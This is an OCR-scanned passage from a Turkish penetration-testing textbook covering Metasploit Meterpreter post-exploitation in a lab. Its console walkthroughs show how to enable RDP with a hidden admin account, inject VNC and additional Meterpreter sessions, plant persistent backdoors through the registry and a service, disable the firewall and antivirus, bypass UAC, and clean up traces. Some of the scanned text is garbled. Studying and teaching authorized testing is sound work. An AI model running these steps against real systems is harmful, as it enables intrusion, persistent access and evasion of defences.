kullaniimaktadir. Moduller arasinda post kategorisi altinda, sizilan igletim sistemlerinin
turine ve kullanim amaglarina gore ¢ok sayida script bulunmaktadir. Bilgi toplama,
hedeften bir verinin alinarak islenmesi veya hedef yapilandirmasinin degistiriimesi gibi
amaglarla kullanilabilmektedirler. ilerleyen boliimlerde sikga ihtiyag duyulan post
modullerine ornekler bulunmaktadir.

4.3.1 RDP Baglantisi Saglanmasi

Windows igletim sistemi uygulamalarinin bir bolumu grafik araylz Uzerinden yonetimi
desteklemektedir veya uzak yonetim igin bu 6zelliklerin kullanilmasi gerekebilir. Hedef
sistem Windows igletim sistemi calistiriyor ise RDP (Microsoft Remote Desktop) servisi
bu amagla kullanilabilir olmaktadir. Ancak RDP'ye dogrudan erisim saglayabilecek bir
Payload henuz bulunmamaktadir. Bu nedenle oncelikle Meterpreter ile sistemin ele
gecirilmesi saglanmali, sonrasinda RDP erigimi igin uygun scriptler ve yapilandirma
hedef sistemde uygulanmalidir. Bu noktada hatirlatmak gerekir ki, RDP erisimi igin
kullanacaginiz her adim sistemde ¢ok sayida ihlal kaydi olusturacaktir.

msf exploit(handler) > sessions

Active sessions

Id Type Information Connection

9 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ HACMEONE 192.168.1.11:4444 ->
192.168.1.32:1090 (192.168.1.32)

10 meterpreter x86/win32 holdenseven\holden @ HOLDENSEVEN 192.168.1.11:4444 ->
192.168.1.33:2246 (192.168.1.33)

msf exploit(handler) > sessions -i 10
[*] Starting interaction with 10...

meterpreter > getpid
Current pid: 1888

meterpreter > getuid

Server username: holdenseven\holden
meterpreter > getsystem

...got system (via technique 4).
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meterpreter > run getgui -h

Windows Remote Desktop Enabler Meterpreter Script
Usage: getgul -u <username> -p <password>

or: getgui -e

OPTIONS:
-e Enable RDP only.
-f <opt> Forward RDP Connection.
-h Help menu.

-p <opt> The Password of the user to add.
-u <opt> The Username of the user to add.

meterpreter > run getgui -e
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Enabling Remote Desktop
RDP is disabled; enabling it .
Setting Terminal Services service startup mode
The Terminal Services service is not set to auto, changing it to auto ...
Opening port in local firewall if necessary
For cleanup use command: run multi_console_command -rc
root/.msf4/logs/scripts/getgui/clean_up__20120920.2546.rc

—
*
—

* ¥ *

*
—_ e

* X

~Nrm e
3

meterpreter > run getgui -u testuser -p testpass

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com

[*] Setting user account for logon

[*] Adding User: testuser with Password: testpass

[*] Hiding user from Windows Login screen

[*] Adding User: testuser to local group 'Remote Desktop Users'

[*] Adding User: testuser to local group 'Administrators'

[*] You can now login with the created user

[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/scripts/getgui/clean_up__20120920.4409.rc

Meterpreter Scripting ile Remote Desktop Baglantisi Saglamak

Olusturulan kullanici ile Windows isletim sisteminde “Terminal Server Client”, Linux
isletim sisteminde ise “rdesktop 192.168.1.32 -u testuser -p testpass” komutu ile baglant
saglanabilir. Islemler tamamlandiginda, ilerleyen bélimlerde anlatilacak olan izleri
temizleme adimina gecilmesi tavsiye edilir.
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4.3.2 Meterpreter Uzerinden VNC Baglantisi Kurulmasi

Windows igletim sisteminde uzak yonetim ve grafik arayuz ihtiyacinin tek ¢6zumu RDP
baglantisi degildir. Kaldi ki RDP baglantisi ile hedef sistemde ¢ok sayida iz birakilacak
ve yapilandirma degisikligi yapilacaktir. Daha dogrudan ancak kismen baglanti sikintilari
yasatabilecek alternatif c6zim ise VNC kullanimidir. RDP baglantisi gibi hedef sistemde
yapilandirma degisikligi veya iz birakmayacaktir, bellege ylklenerek galisan bir bilesen
diginda ek adim ise gerekmeyecektir.

Onceki bélimlerde VNC kullanimi igin gerekli olan ayarlar ve kullanim érnekleri aktarildi,
ancak eksikliklerine vurgu yapilmadi. Exploit isleminde VNC baglantisi tercih etmenin
birka¢ ciddi eksikligi bulunmaktadir. Bir agik sadece bir kez exploit edilebilir ise VNC
baglantisi tercih etmek Meterpreter ve aracglarini kullanmamaylr da beraberinde
getirecektir. Olasi baglanti kesilmesi, istemci ve servis uyumsuzluklari sorunlar
olusturacak, kalici arka kap! kurulumlari veya ek araglarin kolayca yuklenmesi gibi
Ozellikler de maalesef erisilebilir olmayacaktir. Bu nedenlerle VNC baglantisi tercihi
dogru gorunmeyebilir, ancak farkli bir kullanim ile bu avantajdan da faydalanmak
muamkindir. VNC baglantisi, Meterpreter Uzerinden de tetiklenebilir ve baglanti
saglanabilir.

Meterpreter Uzerinden VNC baglantisinin tetiklenmesi 2 sekilde mimkindar; 1. yol
Meterpreter kanali Uzerinden, 2. yol ise dogrudan denetmen sistemine baglanti.
Meterpreter kanali Uzerinden kurulacak VNC baglantisi érnegi asagida yer almaktadir,
baglanti segcenekleri ve ayarlar oldukga basittir. Tunel igin -t, Courtesy Shell i¢in -c ve
VNC uygulamasinin bir uygulamanin belledine entegre edilmesi icin -i kullaniimigtir.

meterpreter > run vnc -h

OPTIONS:

-D Disable the automatic multi/handler (use with -r to accept on another
system)

-0 Disable binding the VNC proxy to localhost (open it to the network)

-P <opt> Executable to inject into (starts a new process). Only useful with -1i
(default: notepad.exe)

-V Disable the automatic launch of the VNC client

-C Enable the VNC courtesy shell

-h This help menu

-1 Inject the vnc server into a new process's memory instead of building an

exe
-p <opt> The port on the remote host where Metasploit is listening (default: 4545)
-r <opt> The IP of a remote Metasploit listening for the connect back
-t Tunnel through the current session connection. (Will be slower)
-v <opt> The local port for the VNC proxy service (default: 5900)
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meterpreter > getsystem

...got system (via technique 4).

meterpreter > run vnc -t -c -1

[*] Creating a VNC bind tcp stager: RHOST=127.0.0.1 LPORT=4545
[*] Running payload handler

[*] Host process notepad.exe has PID 2324

[*] Allocated memory at address 0x00260000, for 298 byte stager
[*] Writing the VNC stager into memory...

[*] Starting the port forwarding from 4545 => TARGET:4545

[*] Local TCP relay created: 127.0.0.1:4545 <-> 127.0.0.1:4545

Meterpreter Uzerinden Tiinel ile VNC Oturumu Baslatiimasi

Asagida gorulecegi uzere hedef sistem Kkilitli dahi olsa Courtesy Shell ile bir komut satiri
sistemin 6nune ¢ikmaktadir. Eger VNC uygulamasi -i parametresi ile ¢alismakta olan bir
surecin bellek alanina atanmazsa isletim sistemi korumalari nedeniyle c¢alismama
durumlariyla da karsilasilabilir.

TightVNC: holdenseven

B Administrator: Metasploit Courtesy Shell (TM])

Microsoft Windows [Version 6.1.76881
Copyright <c> 288? Microsoft Corporation. All rights reserved.

IC:sUserssholdensDesktopsDenetim>_

holden

Locked

i
5 | Password

Meterpreter Uzerinden Tiinel ile Olusturulan VNC Baglantisi Gérinimi
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Meterpreter tineli Uzerinden VNC kullanimi zorunlu kalinmadik¢a tercih edilmemesi
gereken bir yontemdir. Kolay baglanti kurmayi sagliyor olsa da Meterpreter'da kanal
yonetimi sorunlari olusturabilir ve her iki erisimin de kaybedilmesine neden olabilir. Bu
nedenle VNC servisinin dogrudan denetmenin sistemine yonelik baglanti kurmasi daha
saglikli olacaktir. Baglanti turleri bolumunden hatirlanacagdr Uzere ters baglanti bu
noktada en kullanigli turdur ve hedefin denetmen sistemine erigebilecegdi bir port baglant
icin segcilebilir. Boylece daha hizli ve kararli bir VNC baglantisi elde edilecegi gibi
Meterpreter baglantisinin kaybi durumunda yeniden yuklenebilmesi icin bir baska
imkanimiz daha olacaktir.

VNC servisinin denetmen sistemine baglanabilmesi icin kullanilacak port -p, IP adresi ise
-r parametreleri ile atanmalidir. Eger denetmen sistemi Uzerinde birden fazla VNC
aktarimi olacaksa, denetmen sisteminde VNC aktarimi igin dinlenecek port ta -v
parametresi ile degistirilebilir. VNC baglantisi kurularak, sadece kullanici ekranindaki
¢alismanin durumu gorulmek isteniyorsa Courtesy Shell acilmamalidir, kilitli ekranda
islem yapabilmek icin ise agilmasi gerekir ve -c parametresi kullanilabilir.

meterpreter > run vnc -p 9000 -r 192.168.1.11 -c -i

[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.11 LPORT=9000)
[*] Running payload handler

[*] Host process notepad.exe has PID 1032

[*] Allocated memory at address 0x00160000, for 290 byte stager

[*] Writing the VNC stager into memory...

meterpreter >

Meterpreter Uzerinden Dogrudan Denetmenin Sistemine VNC Oturumu Baglatiimasi
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4.3.3 ikinci Meterpreter Oturumu Olusturulmasi

Meterpreter oturumlarinin hata Uretme olasilgi, Ust surecin sonlanmasi veya tunel
nedeniyle bir hata olusmasi, hedefle baglantinin kesilmesine neden olacaktir. Bir diger
nokta ise yapilacak is igin birden fazla kanal ve Meterpreter oturumu gerekebilecegidir.
Denetmen ekibi s6zkonusu ise her denetmene ayri bir Meterpreter oturumu baglanmasi
da bir denetim sureci olabilir. Boyle durumlar birden fazla Meterpreter oturumunun
aclimasi ig surekliligi ve yonetim agisindan gerekli olacaktir.

Meterpreter oturumunu g¢oklamak igin birden fazla yontem bulunmaktadir, sikga tercih
edilen bir yontem Post moduli olan multi_meterpreter_inject kullanimidir. IPLIST ile
Meterpreter oturumu c¢oklanacak IP adresleri, PAYLOAD ile kullanilan Meterpreter turu
ve baglanti parametreleri girilerek modul galistirilabilir.

msf exploit(ms08_067_netapi) > sessions

Active sessions

Id Type Information
Connection
2 shell TELNET msfadmin:msfadmin (172.16.100.3:23)

172.16.100.1:34470 -> 172.16.100.3:23 (172.16.100.3)
3 meterpreter x86/1linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000,
sgid=1000 @ metasploitable 172.16.100.1:4444 -> 172.16.100.3:44779 (172.16.100.3)
4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ GAMASEC-ADC
172.16.100.1:4444 -> 172.16.100.2:1490 (172.16.100.2)

msf exploit(ms08_067_netapi) > use post/windows/manage/multi_meterpreter_inject
msf post(multi_meterpreter_inject) > info

Name: Windows Manage Inject in Memory Multiple Payloads
Module: post/windows/manage/multi_meterpreter_1inject
Version: 16004
Platform: Windows
Arch:
Rank: Normal

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>

Description:
This module will inject in to several process a given payload and
connecting to a given list of IP Addresses. The module works with a
given lists of IP Addresses and process PIDs if no PID is given it
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will start a the given process in the advanced options and inject
the selected payload in to the memory of the created module.

msf post(multi_meterpreter_inject) > show options

Module options (post/windows/manage/multi_meterpreter_inject):

Name Current Setting Required Description

HANDLER false no Start new multi/handler job on
local box.

IPLIST 192.168.1.100 yes List of semicolom separated IP
list.

LPORT 4444 no Port number for the payload LPORT
variable.

PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process
memory

PIDLIST no List of semicolom separated PID
list.

SESSION yes The session to run this module
on.

msf post(multi_meterpreter_inject) > set IPLIST 172.16.100.1
IPLIST => 172.16.100.1

msf post(multi_meterpreter_inject) > set SESSION 4
SESSION => 4

msf post(multi_meterpreter_inject) > set HANDLER true
HANDLER => true

msf post(multi_meterpreter_inject) > show options
Module options (post/windows/manage/multi_meterpreter_inject):

Name Current Setting Required Description

HANDLER true no Start new multi/handler job on
local box.

IPLIST 172.16.100.1 yes List of semicolom separated IP
list.

LPORT 4444 no Port number for the payload LPORT
variable.

PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process
memory

PIDLIST no List of semicolom separated PID
list.

SESSION 4 yes The session to run this module

on.
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msf post(multi_meterpreter_inject) > run

[*] Running module against GAMASEC-ADC

[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!

[*] Creating a reverse meterpreter stager: LHOST=172.16.100.1 LPORT=4444

[+] Starting Notepad.exe to house Meterpreter Session.

[+] Process created with pid 3988

[*] Injecting meterpreter into process ID 3988

[*] Allocated memory at address 0x003b0000, for 290 byte stager

[*] Writing the stager into memory...

[+] Successfully injected Meterpreter in to process: 3988

[*] Meterpreter session 5 opened (172.16.100.1:4444 -> 172.16.100.2:1504) at 2012-11-29
20:17:52 +0200

[*] Post module execution completed

msf post(multi_meterpreter_inject) > sessions

Active sessions

Id Type Information
Connection
2 shell TELNET msfadmin:msfadmin (172.16.100.3:23)

172.16.100.1:34470 -> 172.16.100.3:23 (172.16.100.3)
3 meterpreter x86/1linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000,
sgid=1000 @ metasploitable 172.16.100.1:4444 -> 172.16.100.3:44779 (172.16.100.3)
4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ GAMASEC-ADC
172.16.100.1:4444 -> 172.16.100.2:1490 (172.16.100.2)
5 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ GAMASEC-ADC
172.16.100.1:4444 -> 172.16.100.2:1504 (172.16.100.2)

Meterpreter Oturumlarini Farkl Kaynaklar icin Coklamak

Hedef platform ve igletim sistemi tipine gore kullanilabilecek diger yontemler arasinda;
Payload'un tek basina Uretimi ve hedefte calistirimasi ile Exploit isleminin tekrari yer
almaktadir. Exploit iglemi tekrari her zaman dogru sonuglar uUretmeyebilir ve hedefin
servislerinin kararsiz c¢alismasina neden olabilir. Linux platformunda Meterpreter
oturumunu g¢oklamak veya Windows platformunda elle Meterpreter oturumu ¢oklamak
igin ilerideki bdlumlerde anlatilacak olan “Calistirilabilir Payload Uretimi” baslig
incelenmelidir. Boylece gerekli Payload tek basina Uretilir ve hedefe gonderilerek yeni bir
Meterpreter oturumu yaratilabilir.
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4.3.4 Kalici Arka Kapi Olusturulmasi

Meterpreter oturumlarinin kalici olmadigdi, bellege yuklenen uygulama bilesenleri ile
badlanti saglandidi icin diske yazilmadigi anlatiimisti. Ancak hedef sisteme belirli
araliklarla yeniden baglanmak veya kopan bir baglanti sonrasi yeniden baglanabilmek
gerekli olabilir. Erigsimi koruyabilmek i¢in hazirlanmig Meterpreter script'leri araciligiyla bu
islem mUimkuandur, ancak hedef sistemde kanit birakmasi da kacinilmazdir.

Bir arka kapi olarak kalici olmak icin persistence scripti kullanilabilir. Hedef kullanici
sisteme girdiginde veya sistem bagsladiginda Meterpreter igin onyukleyici c¢alisir,
denetmen sistemi igin verilen IP adresi ve port igin surekli olarak baglanti kurmaya
calisir. Istenirse farkli Payload tiirleri de kullanilabilir, bdylece hedef lizerinde sabit bir
portun dinlenmesi de mimkin olabilir. Hedefte sabit bir portun 6nyukleyici tarafindan
dinlenmesi saldirganlarin da baglanabilmesine neden olacagi ve denetimin
guvenilirligine uygun olmayacagi igin tercih edilmemelidir. Ters baglanti sadece belirli bir
IP adresi ve porta duzenli baglanti deneyecektir, boylece elde edilecek baglantinin
guvenilirligi de kismen saglanacaktir.

Asagidaki ornekte persistence scripti araciligiyla kurulacak olan arka kapiya; -r ile
denetmenin IP adresi olan 192.168.1.11'e ve -p ile uygun portuna, -i parametresi ile 10
saniyede bir baglanti denemesi talimati verilmistir. -X parametresi ile de hedef sistem
yeniden bagladiginda calismasi istenmistir, eger kullanici sisteme giris yaptiginda
calismasi isteniyor olsayda -U parametresi kullaniliyor olmaliydi. Sistem yeniden
basladiginda calisabilmek ve registry'de gerekli dizenlemeyi yapabilmek icin SYSTEM
kullanici haklari gerekmektedir, bu nedenle oncesinde getsystem ile yetki yukseltiimesi
tavsiye edilir. Ornekte 6nce baglanti parametreleri verilmis, sonrasinda ise hedef sisteme
yeniden baglanti talimati verilerek arka kapi test edilmistir. Onylkleyiciden gelecek
baglanti talebini kargilamak igin ise exploit/multi/handler mobullu kullaniimali, ayni
Payload, IP adresi ve port ayari yapilarak dinleme baglatiimalidir.

meterpreter > getsystem
...got system (via technique 4).

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-L <opt> Location in target host where to write payload to, if none %TEMP% will be
used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
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-S Automatically start the agent on boot as a service (with SYSTEM
privileges)

-T <opt> Alternate executable template to use

-U Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-1 <opt> The interval in seconds between each connection attempt
-p <opt> The port on the remote host where Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -X -1 10 -p 80 -r 192.168.1.11

[*] Running Persistance Script

[*] Resource file for cleanup created at
/root/.msf4/logs/persistence/HOLDENSEVEN_20120920.3034/HOLDENSEVEN_20120920.3034.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=80
[*] Persistent agent script is 611125 bytes long

[+] Persistent Script written to C:\Users\holden\AppData\Local\Temp\AgCwCIuo.vbs
[*] Executing script C:\Users\holden\AppData\Local\Temp\AgCwCIuo.vbs

[+] Agent executed with PID 3640

[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\RBzOJurtte

[+] Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\RBzOJurtte

meterpreter > reboot
Rebooting...

meterpreter >
[*] 192.168.1.33 - Meterpreter session 5 closed. Reason: Died

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 80
LPORT => 80

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.11:80

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.1.33

[*] Meterpreter session 6 opened (192.168.1.11:80 -> 192.168.1.33:1035) at 2012-09-20
13:33:19 +0300

meterpreter > sysinfo

Computer : HOLDENSEVEN

0S : Windows 7 (Build 7600).
Architecture 1 x86

System Language : en_US

Meterpreter ¢ x86/win32

Meterpreter Uzerinden Kalici Arka Kapi Kurulmasi
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Yeniden baslatiima sonrasi arka kapinin calisabilmesi icin islem esnasinda ekrana
yazildigi uzere HKLM\Software\Microsoft\Windows\CurrentVersion\Run anahtarina
RBzOJurtte degeri eklenmistir. Eger kullanici sisteme girince baglamasi istenmis olsaydi
HKCU\Software\Microsoft\Windows\CurrentVersion\Run anahtari bu is igin kullanilacakti.

ﬁ Registry Editor
File Edit View Favorites Help

RenameFiles = | Mame Type Data

Run ab] (Default) REG_SZ (value not set)

E:t’l'ﬁ”ce a_b REG_SZ ChUsers\holden\AppDatatLocalh Temp\AgCwCluo.vbs
SharedDLLs ab|Yhware Tools REG_SZ "CAProgram Files\VMware\WMware Tools\VMwareTray.exe”

. ab|yhware User Process REG_SZ "C\Program Files\VMware\WMware Tools\vmtoolsd.exe” -n vmusr
Shell Extensions

Meterpreter Uzerinden Kurulan Kalici Arka Kapinin Registry Anahtari
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4.3.5 Kalici Meterpreter Servisi Olusturulmasi

Meterpreter oturumlarinin kalici olabilmesi i¢in bir diger yontem ise Meterpreter'in servis
olarak kurulmasidir. Servis olarak kurulacak Meterpreter bir o6nyukleyici degil,
Meterpreter'in temel moddullerini de saglayan bir kopyasi olacaktir. Servis olarak
kurulmasi igin iki yontem mevcuttur; bir servis gibi port dinlemek veya denetmen
sistemine duzenli olarak baglanmaya c¢alismak.

Meterpreter ile baglh bulunan bir hedefte metsvc scripti araciligiyla -A parametresi ile
otomatik servis kurulumu yapilabilir. Servisin kaldiriimasi igin de -r parametresi yeterli
olacaktir, ancak servisin calistirilabilir dosyalari elle silinmelidir. Servis kurulumu
yapabilmek SYSTEM kullanicisi haklari gerektigi ve getsystem komutu ile yetki
yukseltilebilecedi unutulmamalidir.

meterpreter > getsystem
...got system (via technique 4).
meterpreter > run metsvc -h

OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)

meterpreter > run metsvc -A
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory
C:\Users\holden\AppData\Local\Temp\vEfkBCItqVFf...
] >> Uploading metsrv.dll...
] >> Uploading metsvc-server.exe...
] >> Uploading metsvc.exe...
] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.

[*] Trying to connect to the Meterpreter service at 192.168.1.33:31337...
meterpreter > [*] Meterpreter session 9 opened (192.168.1.11:38641 ->
192.168.1.33:31337) at 2012-09-20 14:06:38 +0300

Meterpreter Uzerinden Meterpreter Servisi Kurulumu
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Bir guvenlik agiginin exploit islemi esnasinda Meterpreter servisinin kurulumu igin,
Payload sec¢iminde gorulebilecek port dinleme (windows/metsvc_bind_tcp) ve ters
baglanti (windows/metsvc_bind_tcp) modullerinden uygun olan segilmelidir. Ters
baglanti igin kullanimi gerekli olan parametreler arasinda; duzenli deneme sayisi igin
ReverseConnectRetries ve NAT arkasinda yer alan sistemin 6zel bir ag arayizu IP
adresini dinlemesi igcin ReverseListenerBindAddress 6nemlidir. Sadece gerekli ve
dogru segenekler ile Meterpreter servisi kurulmalidir, aksi durumda gecerli bir baglanti
elde edilemedigi gibi hedef sistemde ¢ok sayida kanit ve genel erisime agik arka kapi
birakilmis olunur.
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4.3.6 Sizilan Sistemdeki Glivenlik Teknolojilerinin Atlatiimasi

Meterpreter ylUklenmis ve erisim saglanmis sistemlerde birgok guvenlik teknolojisi
bulunabilir; igletim sisteminin kullanici yetkilendirme yapisi veya anti-virus sistemi ilk akla
gelenlerdir. Anti-viris sistemleri Meterpreter'in hedef sisteme yuklenmesinde sorun
cikarabilir ve erisimi kesebilir, bu guvenlik 6nleminin asilabilmesi ilerleyen bolumlerde
aktarilacaktir. Anti-virls sistemine ragmen Meterpreter yluklenmis ancak sonraki islemler
icin kapatilmasi gerekiyor yada Windows guvenlik duvarinin devre disi birakiimasi
gerekiyor ise Meterpreter script'leri kullanigh olmaktadir.

Hedef sistemdeki glivenlik politikalarini gértnttlemek ve glivenlik duvarini kapatmak gibi
isler icin getcountermeasure kullanilabilir. Parametre verilmeden cgalistiginda guvenlik
duvari durumu ve politikasini gosterecektir. Meterpreter oturumu SYSTEM kullanici
haklarina sahip ise -d ile de glvenlik duvarini devre digi birakabilir. Ayrica -k
parametresi ile de saptanacak anti-virus yazilimlarinin sureglerini dldurebilir.

meterpreter > run getcountermeasure -h
Getcountermeasure -- List (or optionally, kill) HIPS and AV
processes, show XP firewall rules, and display DEP and UAC policies

OPTIONS:
-d Disable built in Firewall
-h Help menu.
-k Kill any AV, HIPS and Third Party Firewall process found.

meterpreter > run getcountermeasure

[*] Running Getcountermeasure on the target...

[*] Checking for contermeasures...

[*] Getting Windows Built in Firewall configuration...
*
* Domain profile configuration:

*

* Operational mode = Enable

* Exception mode = Enable

*
* Standard profile configuration (current):
*

Disable
Enable

* Operational mode

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*] Exception mode
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

*

*

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709

at http://go.microsoft.com/fwlink/?1inkid=121488 .

*

*

*

*

*

*

*

Checking DEP Support Policy...
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

*

meterpreter > run getcountermeasure -d

[*] Running Getcountermeasure on the target...

[*] Checking for contermeasures...

[*] Getting Windows Built in Firewall configuration...

Domain profile configuration:

Operational mode = Enable
Exception mode = Enable

Standard profile configuration (current):

Disable
Enable

Operational mode
Exception mode

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709

at http://go.microsoft.com/fwlink/?1inkid=121488 .

Disabling Built in Firewall.....
Checking DEP Support Policy...

Meterpreter Uzerinden Windows Giivenlik Duvarini Kapatmak

Hedef sistemde bulunan anti-viris yazilimlarini devre disi birakabilecek bir diger script

ise killav'dir.

uygulamasi olan bir sure¢ buldugunda sonlandiracaktir.

Calistiginda hedef sistemde anti-viris yazilimlarinin galistirilabilir

meterpreter > run killav
[*] Killing Antivirus services on the target...

Meterpreter Uzerinden Anti-Virlis Yazilimlarini Durdurmak

Windows igletim sistemlerinin bir diger glvenlik 6zelligi olan UAC (User Account Control)
ise kullanicilarin slrekli sistem yodneticisi yetkisinde ¢alismasini onlemek, kotu niyetli
yazilimlarin tum yetkileri ele gegirmesini onlemek ve yetki gereken durumlarda ayri bir
arayuzden kullanicidan onay istemek bigiminde caligir. Ancak UAC'nin de devre digi
birakilmasi mumkuandur, bypassuac ile UAC korumasi kaldirilabilir.

[*]

*

[*]
[*]
[*]
[*]

meterpreter > run post/windows/escalate/bypassuac

Started reverse handler on 192.168.1.11:443

Starting the payload handler...

Uploading the bypass UAC executable to the filesystenm...
Meterpreter stager executable 73802 bytes long being uploaded..
Uploaded the agent to the filesystem....

Meterpreter Uzerinden Windows UAC'nin Atlatiimasi
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4.3.7 Yapilan islemlerin Eski Haline Déndiiriilmesi ve Log Temizleme

Meterpreter ile sisteme yonelik yapilacak her tur yapilandirma degisikligi, registry kaydi
degisikligi ve kullanici ekleme gibi islemlerin sonucunda adimlarin geri alinmasi
gerekecektir. Aksi taktirde sistemde c¢ok belirgin bir iz birakilacak ve sistemin ele
gegirildigi cok basit bicimde anlagilabilecektir.

Onceki RDP baglantisi érneginde olusturulan kullanici ve servisin etkinlestiriimesi igin
yapilan islemler, hedef sistemde yapilandirma degisikligi gerektirmektedir. Bu iglem
sonunda sistemi eski haline dondurebilmek igin, islem sonunda belirtilen ve isletiimesi
gerekli komutlari iceren “/root/.msf4/logs/scripts/getgui/clean_up_20120920.2546.rc ”
ve “/root/.msf4/logs/scripts/getgui/clean_up__ 20120920.4409.rc "  dosyalari
calistinlmahdir. Yapilan islem sonucu olusturulan komut dosyalarinin icerigi asagida
gorinmektedir.

#cat [root/.msf4/logs/scripts/getgui/clean_up__20120920.2546.rc

reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v
'fDenyTSConnections' -d "1"

execute -H -f cmd.exe -a "/c sc config termservice start= disabled"
execute -H -f cmd.exe -a "/c sc stop termservice"

execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode =
enable'"

#cat [root/.msf4/logs/scripts/getgui/clean_up__20120920.4409.rc

execute -H -f cmd.exe -a "/c net user testuser /delete"

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows)\
NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -v testuser

Meterpreter Scripting ile Remote Desktop Baglantisi Sonrasi iz Temizleme Igerigi

Gorulecegi Uzere RDP servisinin tekrar devre disi birakilmasi, servisin durdurulmasi ve
glvenlik duvarindan izinlerin ayarlanmasi adimlari ilk dosyada yer almaktadir. ikinci
dosyada ise kullanici silinmesi ve kullanici igin varsa registry anahtarinin silinmesi
gorulmektedir. Komutlar asagidaki gibi isletilebilir, bdylece hedef sistem yetkisiz erigsim
saglanabilmesi i¢in verilen talimatlardan onceki haline donduralar.

meterpreter > run multi_console_command -rc
Jroot/.msf4/logs/scripts/getgui/clean_up__20120920.2546.rc

[*] Running Command List ...

[*] Running command reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal
Server' -v 'fDenyTSConnections' -d "1"

Successful set fDenyTSConnections.

[*] Running command execute -H -f cmd.exe -a "/c sc config termservice start=
disabled"

Process 5800 created.
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[*] Running command execute -H -f cmd.exe -a "/c sc stop termservice"
Process 2100 created.

[*] Running command execute -H -f cmd.exe -a "/c 'netsh firewall set service type =
remotedesktop mode = enable'"

Process 1072 created.

meterpreter > run multi_console_command -rc
Jroot/.msf4/logs/scripts/getgui/clean_up__20120920.4409.rc

[*] Running Command List ...

[*] Running command execute -H -f cmd.exe -a "/c net user testuser /delete"
Process 3552 created.

[*] Running command reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\
NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -v testuser

[-] stdapi_registry_open_key: Operation failed: The system cannot find the file
specified.

Meterpreter Scripting ile Remote Desktop Baglantisi Sonrasi iz Temizleme

Meterpreter ile yapilan iglemlerin disinda, diger modullerin islemleri ve on analiz
esnasinda yapilan iglemler bulunmaktadir. TUm bu islemler sistemlerde iz birakacaktir ve
bu izler incelenerek denetmenin iglem adimlari gorulebili. Bu durum her zaman
istenmemektedir, yonetim kurulu veya yetkili bir bélimden izinli olarak yapilan ve bilisim
¢alisanlarindan gizlenmesi istenen bir saldiri en somut 6rnektir. Saldiri izleri gizleme ve
temizleme slreci oldukga karmasiktir, her sistem veya cihazda farkhliklar
gOstermektedir. Meterpreter icinde bulunan bazi moduller ile en belirgin olacak izler
silinebilir.
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4.4 Meterpreter Uzerinden iletisim ve Saldiri Tiinelleme

Meterpreter'in énemli 6zelliklerinden bir tanesi de, yukli oldugu hedefin badli oldugu
aglara yonlendirme yapabilmesidir. Bu yonlendirme Uzerinden saldirilarin aktariimasi,
ele gegcirilen bir sistem Uzerinden bir baskasina sizilmasi mumkun olmaktadir. Ayrica
sadece bir portu yonlendirme yetenegi de bulunmaktadir, bdylece bir bagka sisteme
veya hedef lUzerindeki normalde erisilemeyen bir porta da erigsim saglanabilmektedir.

4.41 Meterpreter Uzerinden Port Yénlendirme ile Saldin Tiinelleme

Hedef sistemin erigilebilir olan bir portu Uzerinden erigsim saglanmis ancak guvenlik
duvari nedeniyle erisilemeyen bir bagka servisin guvenlik aciginin da arastiriimasi
gerekiyorsa Port Yonlendirme kullanilabilir.  Ayrica farkh bir sistemin portunun
yonlendiriimesi veya yetkisi daha yuksek bir servisin agiginin istismar edilmesi de diger
olasi sebepler arasinda yer alabilir.

Ornegimizde hedef Linux isletim sisteminde bir giivenlik acigi kullanilarak Meterpreter
oturumu elde edilmistir. Bu oturum tzerinden, normalde erigilemeyen ve guvenlik duvari
